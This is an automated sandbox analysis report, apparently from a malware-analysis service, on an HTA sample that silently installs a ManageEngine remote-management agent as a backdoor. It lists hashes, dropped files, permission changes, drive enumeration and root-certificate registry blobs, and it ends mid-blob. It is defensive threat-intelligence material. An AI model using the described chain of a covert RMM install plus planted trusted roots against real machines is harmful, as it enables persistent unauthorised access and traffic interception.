9889fdc3b584c16e331129e90b85ebde0b582ca003e1c5480e458421ae9b96cf

Analysis

max time kernel
84s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/09/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026092221__UIAIOIADTKKAA_AILAKII9700JA09HH.hta
Size 95KB
Sample260922-phnvzaeb46
SHA256 9889fdc3b584c16e331129e90b85ebde0b582ca003e1c5480e458421ae9b96cf
MD5 7db1f331e005628d66d674adaa9a523b
SHA1 b8180c0d6efc3f4fbd942cdae6502070253b77d2
SHA512 0e2050d6e6c2c02c079f551521b91cc0799be4ded153f7fadfacb3eda60a5b729154c615c72e0a8f76976aae93fee90f186daa01d1b1d585550c0e286afb8d00
SSDEEP 1536:IyB4SAQjydINutJ/5dj4XtrNC9G5cY9USXb2iWD4GukcKB99x7i9pTtZ:QShjBuXrcuul9Xb2iHl9pH
TLSH
T157A362C477C6BC8223836BB7731BB1E5F42D5DD97088088AF544BC98F1AA926F6E4531
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

backdoor defense_evasion discovery execution rat spyware trojan

Malware Config

Signatures

DCAgent remote management tool 4 IoCs

DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

backdoor rat

resource	yara_rule
behavioral2/files/0x000d00000001c4e3-17.dat	hacktool_dcagent
behavioral2/files/0x000d00000001c516-235.dat	hacktool_dcagent
behavioral2/files/0x000c00000001c5a2-466.dat	hacktool_dcagent
behavioral2/files/0x000d00000001c505-614.dat	hacktool_dcagent

Executes dropped EXE 20 IoCs

pid	Process
5296	dcagentregister.exe
4824	7za.exe
1944	dcagentservice.exe
4176	7za.exe
708	7za.exe
4184	dcstatusutil.exe
1832	dcagentservice.exe
4972	dcinventory.exe
2028	CRU_Reporter.exe
6136	dcconfig.exe
5792	dcusbsummary.exe
3004	dcusb64.exe
2568	dcstatusutil.exe
2144	dcagentregister.exe
1008	dcondemand.exe
5372	dcswmeter.exe
4684	dcinventory.exe
5068	dcconfig.exe
5516	dcconfig.exe
6120	dcpatchscan.exe

Loads dropped DLL 64 IoCs

pid	Process
5864	MsiExec.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
1944	dcagentservice.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
4184	dcstatusutil.exe
4184	dcstatusutil.exe
4184	dcstatusutil.exe
4184	dcstatusutil.exe
4184	dcstatusutil.exe
4184	dcstatusutil.exe
4184	dcstatusutil.exe
4184	dcstatusutil.exe
4184	dcstatusutil.exe
1832	dcagentservice.exe
4972	dcinventory.exe
4972	dcinventory.exe
5792	dcusbsummary.exe
4972	dcinventory.exe
6136	dcconfig.exe
4972	dcinventory.exe
6136	dcconfig.exe
6136	dcconfig.exe
6136	dcconfig.exe
2568	dcstatusutil.exe
2144	dcagentregister.exe
2144	dcagentregister.exe
2568	dcstatusutil.exe
6136	dcconfig.exe
1008	dcondemand.exe
2568	dcstatusutil.exe
2144	dcagentregister.exe
2144	dcagentregister.exe
1008	dcondemand.exe
5372	dcswmeter.exe
2144	dcagentregister.exe
2568	dcstatusutil.exe
4684	dcinventory.exe
2568	dcstatusutil.exe
1008	dcondemand.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5368	icacls.exe
2072	icacls.exe
4628	icacls.exe
3528	icacls.exe
5452	icacls.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\dcagentlibxml2.dll	msiexec.exe
File created	C:\Windows\SysWOW64\dclibxml2.dll	msiexec.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcconfigaccess.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UemsScheduledScriptAccess.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Upload.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\File_upload.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\swConfig.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\folder_backup.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcSwscript.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchdeploymenterror.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-edb.xml	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcchat.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\waiting_aprvl.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA.crt	dcagentregister.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcconfigexec.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_agentservice.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UEMS_Agent_TSToolUtil.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\downloadFailureAccess.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe32.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ja_JP.properties	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ecdatatransfer_access.log	dcstatusutil.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\downloadSuccessAccess.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\hover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\selfserviceportal.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_cs_CZ.properties	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ues_agentserviceaccess.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources.properties5340.tmp	dcagentregister.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_user.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devicescanaccess.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hs_runtime.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777777_256x240.png	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777777_256x240.png	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\file_system_watcher.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uemscom.dll	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_es_ES.properties	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHcHelper.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\core_util_x64.dll	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_de_DE.properties	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devicepatchaccess.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdmsclientaccess.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh_inactive.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdown.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Apps_active.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\driverfiles.7z	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCFAUser.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\DCAgentQppmUpgraderAccess.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\vmware-names.conf	dcinventory.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log	dcpatchscan.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientSocket.dll	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\selfserviceexe.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\usbeDevicelist.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentserviceaccess.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ecdatatransfer_access.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uems_crypto.dll	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_it_IT.properties	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\downloadFailureAccess.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenthttp.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdown_hover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dc_msp_image.png	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\sas.dll	7za.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e5a5dda.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5dd1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5dd2.mst	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF824A55A0BA8A4511.TMP	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI67C4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6ECA.tmp	msiexec.exe
File created	C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst	msiexec.exe
File created	C:\Windows\Installer\e5a5dd1.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF9EE30BC93BBB11CC.TMP	msiexec.exe
File created	C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json	dcagentregister.exe
File created	C:\Windows\SystemTemp\~DFA58D88E33AEE5D2B.TMP	msiexec.exe
File created	C:\Windows\Installer\e5a5dd2.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID45B.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF9924ED68887073FC.TMP	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5316	cmd.exe
3820	cmd.exe
4640	cmd.exe
2308	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 8 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\52F0D9BD4CE0B85032A1D943BF5958D6EA198B67\Blob = 0f000000010000002000000016eeb0939b64b385a966e2cc1e7332914d998b6f23b9d476524c1ef1fa54194203000000010000001400000052f0d9bd4ce0b85032a1d943bf5958d6ea198b672000000001000000f0030000308203ec308202d4a00302010202085b241953a4617446300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932303230303230395a180f32303531303932303230303230395a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d24c7a6a177ff138389240a302556d2ca18fe9c13fadf0265d41466bdf3ccb2cee52136a7ef7ccb68d6cc984fea437b5a94122e693990735df80cf88a05aa84382cc21aeb779a54cde93c9c52b295d72025c360aea6c472cc58d1d9ed6a199fc772587c83c4873bc824c67f166429b93bf4bd474735bb5ff99b609db15fd64bfa035f97f6ed02c31bfd6535174a33d950a022c81db6c33a1143e3eaf9c358ac39aaa2f6c032729bf9b8cc27b36d7a62a7f97519bd9fbdecbfa64cd293da7dccc0b0922c6f2ad8baaf0c561587d3fd9310a0a1b08e712c5ad26995c21c20f749a92cba4dc3e3651fc5f426ff2e6a6a1b11c0fb0f4dddbe05822bb35f2c2e0e18b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142b5d6ea59503c15f6f682ed1c729b33163f3931b301f0603551d230418301680142b5d6ea59503c15f6f682ed1c729b33163f3931b300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101004bcf34f6eade6832671b952d1b073b6424787bdfd5f7e0dd75d141c573d211f18e9c58e9a7798fbbf4dc1e56393ad49d8c957abc2e671044229fa4157fccf0a8ab9bcbc81039dfb867e0f24d0265527493b7f37d100bc2d1e3d0c28ef36a867b914d774a24566be0666940dc6f2abfaf155ee81753f000b8f56ea5fd03ec94c59c72a0f17b2b616bacf134f9661cad62fcebb8ae56f443b698c8527d3da72e3cda5e03b27ef95f38ed220ee8b343934acf305e14cabeb1db4f8c7040151824af73fc42bef4885eb0aa0d92ec3d5accc7c245bc3ea648d17fa877234c32ced72f84026014945f2d74541b4df82efaa76edb4a936bc8682621faa0e7c6fa91fbdc	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8B6960C5A479CC09B17780856D536B79A59A504D\Blob = 140000000100000014000000be2c367e4a3a44e93dcb40d45cd0d2adcbce5b600300000001000000140000008b6960c5a479cc09b17780856d536b79a59a504d0f0000000100000020000000b7431d0c15882f5d36b359f4e706d845869c68e24a506c04893b62746212c59f2000000001000000d8030000308203d4308202bca003020102020854a2c6b138994ffa300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932303230303230385a180f32303531303932303230303230385a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c5ceb84f620e4a3dd3ad591457410ac9bf791e4ea84bf6eb35f6f9642d806d3d907f824e3eeb7d68443a5bc353bee9b310932a0ce8db7b0a1f84d8969d50a0b89ed31a979166ae9d1084042e733c7e573f9a86ed807a6d768cb708b1e76cd45dd12ce06bb88556c4255eb04b12b9ef7b06d495fdd8589d55825388f91233497e7a8432801f0ec08984bad61ff4bfda38ef14d832e4c8046494360356c1204c0e37067201dc17f37110b8ea5c28c73d6dfa731b05c5c3f94a5528b1c6dba1c38ad325264063c6b6276dca5211afa0b0dc40599a932a2366de5543a414ce545c6536f587a0c3b9f5fb14e2c2c62890fc9ea3bcb413f1e94361d5f3755c7f6f59870203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414be2c367e4a3a44e93dcb40d45cd0d2adcbce5b60301f0603551d23041830168014be2c367e4a3a44e93dcb40d45cd0d2adcbce5b60300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101005af98539ad725ce4869ef0c0d1f3cf19dc296123a27cb061d5666e62c1f59d363d9fb7ccd1913ceee15835d09bcc2843be66486a9784bf7ff62848e2c3a4113ac894e3412cb060db6b17ad490c6d304967c2c69778c32c97784778525760b66eb308dfcfeb57071385df5677651fe3f7b6b423802200bcab79993cfb607b98f45513c82328dbe5b673e6514f0822df791def3f7384ebe767056a397e37942a60a3245a83a80b4b91c00e1b05d95f646fd27c486962515440bf98b56459c6c3316009b50f83c853ed3dbf4c9342024ff4758fcbc14d73f92b5c556acbffc6156cbcfc554a50d0edcb16a794403a0ea63c16f303d400ce9426f8124fc4dc041bce	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\52F0D9BD4CE0B85032A1D943BF5958D6EA198B67\Blob = 1400000001000000140000002b5d6ea59503c15f6f682ed1c729b33163f3931b03000000010000001400000052f0d9bd4ce0b85032a1d943bf5958d6ea198b670f000000010000002000000016eeb0939b64b385a966e2cc1e7332914d998b6f23b9d476524c1ef1fa5419422000000001000000f0030000308203ec308202d4a00302010202085b241953a4617446300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932303230303230395a180f32303531303932303230303230395a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d24c7a6a177ff138389240a302556d2ca18fe9c13fadf0265d41466bdf3ccb2cee52136a7ef7ccb68d6cc984fea437b5a94122e693990735df80cf88a05aa84382cc21aeb779a54cde93c9c52b295d72025c360aea6c472cc58d1d9ed6a199fc772587c83c4873bc824c67f166429b93bf4bd474735bb5ff99b609db15fd64bfa035f97f6ed02c31bfd6535174a33d950a022c81db6c33a1143e3eaf9c358ac39aaa2f6c032729bf9b8cc27b36d7a62a7f97519bd9fbdecbfa64cd293da7dccc0b0922c6f2ad8baaf0c561587d3fd9310a0a1b08e712c5ad26995c21c20f749a92cba4dc3e3651fc5f426ff2e6a6a1b11c0fb0f4dddbe05822bb35f2c2e0e18b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142b5d6ea59503c15f6f682ed1c729b33163f3931b301f0603551d230418301680142b5d6ea59503c15f6f682ed1c729b33163f3931b300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101004bcf34f6eade6832671b952d1b073b6424787bdfd5f7e0dd75d141c573d211f18e9c58e9a7798fbbf4dc1e56393ad49d8c957abc2e671044229fa4157fccf0a8ab9bcbc81039dfb867e0f24d0265527493b7f37d100bc2d1e3d0c28ef36a867b914d774a24566be0666940dc6f2abfaf155ee81753f000b8f56ea5fd03ec94c59c72a0f17b2b616bacf134f9661cad62fcebb8ae56f443b698c8527d3da72e3cda5e03b27ef95f38ed220ee8b343934acf305e14cabeb1db4f8c7040151824af73fc42bef4885eb0aa0d92ec3d5accc7c245bc3ea648d17fa877234c32ced72f84026014945f2d74541b4df82efaa76edb4a936bc8682621faa0e7c6fa91fbdc	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8B6960C5A479CC09B17780856D536B79A59A504D\Blob = 190000000100000010000000b86cec343578677ef771029ac8467ce00f0000000100000020000000b7431d0c15882f5d36b359f4e706d845869c68e24a506c04893b62746212c59f0300000001000000140000008b6960c5a479cc09b17780856d536b79a59a504d140000000100000014000000be2c367e4a3a44e93dcb40d45cd0d2adcbce5b602000000001000000d8030000308203d4308202bca003020102020854a2c6b138994ffa300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932303230303230385a180f32303531303932303230303230385a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c5ceb84f620e4a3dd3ad591457410ac9bf791e4ea84bf6eb35f6f9642d806d3d907f824e3eeb7d68443a5bc353bee9b310932a0ce8db7b0a1f84d8969d50a0b89ed31a979166ae9d1084042e733c7e573f9a86ed807a6d768cb708b1e76cd45dd12ce06bb88556c4255eb04b12b9ef7b06d495fdd8589d55825388f91233497e7a8432801f0ec08984bad61ff4bfda38ef14d832e4c8046494360356c1204c0e37067201dc17f37110b8ea5c28c73d6dfa731b05c5c3f94a5528b1c6dba1c38ad325264063c6b6276dca5211afa0b0dc40599a932a2366de5543a414ce545c6536f587a0c3b9f5fb14e2c2c62890fc9ea3bcb413f1e94361d5f3755c7f6f59870203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414be2c367e4a3a44e93dcb40d45cd0d2adcbce5b60301f0603551d23041830168014be2c367e4a3a44e93dcb40d45cd0d2adcbce5b60300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101005af98539ad725ce4869ef0c0d1f3cf19dc296123a27cb061d5666e62c1f59d363d9fb7ccd1913ceee15835d09bcc2843be66486a9784bf7ff62848e2c3a4113ac894e3412cb060db6b17ad490c6d304967c2c69778c32c97784778525760b66eb308dfcfeb57071385df5677651fe3f7b6b423802200bcab79993cfb607b98f45513c82328dbe5b673e6514f0822df791def3f7384ebe767056a397e37942a60a3245a83a80b4b91c00e1b05d95f646fd27c486962515440bf98b56459c6c3316009b50f83c853ed3dbf4c9342024ff4758fcbc14d73f92b5c556acbffc6156cbcfc554a50d0edcb16a794403a0ea63c16f303d400ce9426f8124fc4dc041bce	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\52F0D9BD4CE0B85032A1D943BF5958D6EA198B67\Blob = 1900000001000000100000009af27c80858b9f5e5c93506235e2a9f40f000000010000002000000016eeb0939b64b385a966e2cc1e7332914d998b6f23b9d476524c1ef1fa54194203000000010000001400000052f0d9bd4ce0b85032a1d943bf5958d6ea198b671400000001000000140000002b5d6ea59503c15f6f682ed1c729b33163f3931b2000000001000000f0030000308203ec308202d4a00302010202085b241953a4617446300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932303230303230395a180f32303531303932303230303230395a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d24c7a6a177ff138389240a302556d2ca18fe9c13fadf0265d41466bdf3ccb2cee52136a7ef7ccb68d6cc984fea437b5a94122e693990735df80cf88a05aa84382cc21aeb779a54cde93c9c52b295d72025c360aea6c472cc58d1d9ed6a199fc772587c83c4873bc824c67f166429b93bf4bd474735bb5ff99b609db15fd64bfa035f97f6ed02c31bfd6535174a33d950a022c81db6c33a1143e3eaf9c358ac39aaa2f6c032729bf9b8cc27b36d7a62a7f97519bd9fbdecbfa64cd293da7dccc0b0922c6f2ad8baaf0c561587d3fd9310a0a1b08e712c5ad26995c21c20f749a92cba4dc3e3651fc5f426ff2e6a6a1b11c0fb0f4dddbe05822bb35f2c2e0e18b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142b5d6ea59503c15f6f682ed1c729b33163f3931b301f0603551d230418301680142b5d6ea59503c15f6f682ed1c729b33163f3931b300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101004bcf34f6eade6832671b952d1b073b6424787bdfd5f7e0dd75d141c573d211f18e9c58e9a7798fbbf4dc1e56393ad49d8c957abc2e671044229fa4157fccf0a8ab9bcbc81039dfb867e0f24d0265527493b7f37d100bc2d1e3d0c28ef36a867b914d774a24566be0666940dc6f2abfaf155ee81753f000b8f56ea5fd03ec94c59c72a0f17b2b616bacf134f9661cad62fcebb8ae56f443b698c8527d3da72e3cda5e03b27ef95f38ed220ee8b343934acf305e14cabeb1db4f8c7040151824af73fc42bef4885eb0aa0d92ec3d5accc7c245bc3ea648d17fa877234c32ced72f84026014945f2d74541b4df82efaa76edb4a936bc8682621faa0e7c6fa91fbdc	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8B6960C5A479CC09B17780856D536B79A59A504D\Blob = 0300000001000000140000008b6960c5a479cc09b17780856d536b79a59a504d2000000001000000d8030000308203d4308202bca003020102020854a2c6b138994ffa300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932303230303230385a180f32303531303932303230303230385a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c5ceb84f620e4a3dd3ad591457410ac9bf791e4ea84bf6eb35f6f9642d806d3d907f824e3eeb7d68443a5bc353bee9b310932a0ce8db7b0a1f84d8969d50a0b89ed31a979166ae9d1084042e733c7e573f9a86ed807a6d768cb708b1e76cd45dd12ce06bb